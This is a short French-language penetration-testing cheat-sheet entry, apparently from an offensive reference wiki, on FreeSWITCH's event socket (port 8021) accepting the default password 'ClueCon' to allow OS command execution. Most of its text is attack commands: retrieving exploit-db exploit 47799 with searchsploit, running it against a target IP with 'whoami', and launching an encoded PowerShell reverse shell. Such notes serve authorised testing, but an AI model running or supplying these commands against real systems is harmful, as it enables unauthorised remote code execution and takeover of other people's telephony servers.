8021 - FreeSWITCH (mod_event_socket)

RCE par mot de passe par défaut

Le socket d’événements FreeSWITCH (8021/tcp) accepte souvent le mot de passe par défaut ‘ClueCon’ → exécution de commandes OS.

Exploit (exploit-db 47799)

searchsploit -m 47799
python 47799.py <IP> whoami
python 47799.py <IP> "powershell -e <reverse_shell_b64>"